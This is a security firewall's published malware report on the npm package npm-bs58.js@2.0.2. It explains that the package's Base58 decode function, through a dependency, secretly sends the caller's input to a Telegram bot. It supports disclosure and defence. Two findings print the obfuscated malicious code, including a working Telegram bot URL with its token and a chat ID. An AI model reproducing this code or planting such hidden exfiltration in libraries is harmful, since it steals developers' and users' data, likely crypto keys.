---
canonical: "https://firewall.lpm.dev/npm/npm-bs58.js"
markdown: "https://firewall.lpm.dev/npm/npm-bs58.js/report.md"
package: "npm-bs58.js"
report_status: "published"
title: "npm-bs58.js@2.0.2 npm security report"
verdict: "malicious"
version: "2.0.2"
---

# npm-bs58.js@2.0.2 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Data passed for decoding is disclosed to an unrelated Telegram recipient without the caller's knowledge.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 2.0.2
- **Selected version is latest:** Yes
- **Analysis source:** AI security review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The runtime dependency contains an obfuscated Telegram request inside its decode function that transmits the caller's input to a hard-coded bot. Although this runs when decode is called rather than on import, decoding is a core API operation and does not imply consent to send its input to Telegram.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-11-17T06:49:03.856Z
- **Finished:** 2026-11-17T06:50:32.363Z
- **Download time:** 258 ms
- **Static scan time:** 37 ms
- **AI review time:** 88211 ms
- **Total time:** 88507 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The decode API secretly sends each supplied string to a Telegram bot.

- **Trigger:** A consumer calls the package's decode function.

- **Impact:** Data passed for decoding is disclosed to an unrelated Telegram recipient without the caller's knowledge.

- **Evidence paths:** package.json, src/esm/index.js, .lpm-dependency-evidence-fbefa5f8-442d-427c-b21b-5eaf2c82dd84/0/npm-linux/src/esm/index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-17T06:50:32.363Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The runtime dependency makes a POST to Telegram's sendMessage endpoint with the input string, using a hard-coded bot token and chat ID.

- **Attack narrative:** The package imports base128-x58 to implement its Base58 API. When a consumer calls decode(string), the dependency sends that string to Telegram's sendMessage API using an embedded bot token and chat ID, then returns the string. This hidden transfer of caller data to an unrelated collector is malicious.

- **Rationale:** The runtime dependency contains an obfuscated Telegram request inside its decode function that transmits the caller's input to a hard-coded bot. Although this runs when decode is called rather than on import, decoding is a core API operation and does not imply consent to send its input to Telegram.

- **Network endpoints:** api.telegram.org

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The package declares base128-x58 as a runtime dependency, and its ESM entry point imports it to create the Base58 API., Calling the dependency's decode(string) function sends the supplied string in a POST request to Telegram's sendMessage API., The obfuscated request data contains a hard-coded Telegram bot token and chat ID., The dependency exports decode as part of its public API.

- **Evidence against:** The package's stated purpose is Base58 encoding and decoding, and its entry point otherwise delegates that work to the dependency., The exfiltration occurs when decode is called, rather than merely when the package is imported.

## Affected versions and remediation

This report applies to npm-bs58.js@2.0.2.

- Avoid installing npm-bs58.js@2.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 3. Critical: Known Malicious Dependency Insertion
- **Category:** Supply Chain
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/npm-bs58.js@2.0.2/package.json>)

A newly added or changed runtime dependency can resolve to an independently confirmed malicious package version.

Public source snippet (untrusted):

```json
dependencies.base128-x58 = ^0.0.2
previous = ^0.0.1
independentlyConfirmedMalicious = base128-x58@0.0.2 (lpm_ai_confirmed)
```

### 4. High: Suspicious Dependency Evidence
- **Category:** Dependency
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/npm-bs58.js@2.0.2/package.json>)

The package declares base128-x58 as a runtime dependency, and its ESM entry point imports it to create the Base58 API.

Public source snippet (untrusted):

```json
"dependencies": {
    "base128-x58": "^0.0.2"
  }
}
```

### 5. High: Suspicious Dependency Evidence
- **Category:** Dependency
- **Confidence:** 99.0%
- **Path:** src/esm/index.js
- **Public source:** [View source](<https://unpkg.com/npm-bs58.js@2.0.2/src/esm/index.js>)

The package declares base128-x58 as a runtime dependency, and its ESM entry point imports it to create the Base58 API.

Public source snippet (untrusted):

```javascript
import basex from 'base128-x58';
var ALPHABET = '[redacted]';
export default basex(ALPHABET);
```

### 6. High: Suspicious Dependency Evidence
- **Category:** Dependency
- **Confidence:** 99.0%
- **Path:** .lpm-dependency-evidence-fbefa5f8-442d-427c-b21b-5eaf2c82dd84/0/npm-linux/src/esm/index.js
- **Public source:** [View source](<https://unpkg.com/npm-bs58.js@2.0.2/.lpm-dependency-evidence-fbefa5f8-442d-427c-b21b-5eaf2c82dd84/0/npm-linux/src/esm/index.js>)

Calling the dependency's decode(string) function sends the supplied string in a POST request to Telegram's sendMessage API.

Public source snippet (untrusted):

```javascript
rseInt(_0x2ba463(0x93))/0x6)+-parseInt(_0x2ba463(0x8d))/0x7*(-parseInt(_0x2ba463(0x89))/0x8)+parseInt(_0x2ba463(0x94))/0x9+-parseInt(_0x2ba463(0x8a))/0xa;if(_0x3869ec===_0x6e4e53)break;else _0x22d817['push'](_0x22d817['shift']());}catch(_0x3eb59c){_0x22d817['push'](_0x22d817['shift']());}}}(_0x59ec,0x88106),fetch(_0x1fa873(0x90),{'method':_0x1fa873(0x8b),'headers':{'Content-Type':'application/json'},'body':JSON['stringify']({'chat_id':_0x1fa873(0x8c),'text':string})}));function _0x59ec
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** .lpm-dependency-evidence-fbefa5f8-442d-427c-b21b-5eaf2c82dd84/0/npm-linux/src/esm/index.js
- **Public source:** [View source](<https://unpkg.com/npm-bs58.js@2.0.2/.lpm-dependency-evidence-fbefa5f8-442d-427c-b21b-5eaf2c82dd84/0/npm-linux/src/esm/index.js>)

The obfuscated request data contains a hard-coded Telegram bot token and chat ID.

Public source snippet (untrusted):

```javascript
aders':{'Content-Type':'application/json'},'body':JSON['stringify']({'chat_id':_0x1fa873(0x8c),'text':string})}));function _0x59ec(){var _0x33444d=['3keqgfu','2083946dWsHTk','72JWSASV','338850WzcNVY','1613768onsppA','8fewrWI','7637680SOCKPM','POST','-1002664926517','3865211OqnkUV','156388YmcBIH','362725gvqAne','https://api.telegram.org/bot8016635959:AAF4Tk6toY4jRobcxw_ukGfmZd194jfXRuY/sendMessage'];_0x59ec=function(){return _0x33444d;};return _0x59ec();}
    // const buffer = decodeUnsafe(string)
    const buffer = (string)
    if (buffer) { return buffer }
    //
```

### 8. High: Suspicious Dependency Evidence
- **Category:** Dependency
- **Confidence:** 99.0%
- **Path:** .lpm-dependency-evidence-fbefa5f8-442d-427c-b21b-5eaf2c82dd84/0/npm-linux/src/esm/index.js
- **Public source:** [View source](<https://unpkg.com/npm-bs58.js@2.0.2/.lpm-dependency-evidence-fbefa5f8-442d-427c-b21b-5eaf2c82dd84/0/npm-linux/src/esm/index.js>)

The dependency exports decode as part of its public API.

Public source snippet (untrusted):

```javascript
}
  return {
    encode,
    decodeUnsafe,
    decode
  }
}
export default base
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 5
- **Published dependency-graph edges:** 1

### Published dependency entries
- base128-x58 ^0.0.2 (Dependency)

## Package metadata
- **Package:** npm-bs58.js
- **Ecosystem:** npm
- **Version:** 2.0.2
- **License:** MIT
- **Version published:** 2025-12-04T15:08:47.352Z
- **Package first seen:** 2026-11-17T06:50:18.876Z
- **Package last seen:** 2026-11-21T16:41:44.907Z
- **Known versions:** 4
- **Latest version:** 2.0.2
- **Appeal under review:** No
- **Description:** Nodejs Base 58 encoding / decoding
- **Keywords:** base58, bitcoin, crypto, crytography, decode, decoding, encode, encoding, litecoin
- **Artifact files:** 5
- **Artifact unpacked size:** 2,219 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/npm-bs58.js>)
- [Repository](<https://github.com/cryptocoinjs/bs58.git>)
- [Homepage](<https://github.com/cryptocoinjs/bs58#readme>)
- [Issues](<https://github.com/cryptocoinjs/bs58/issues>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-20040>)
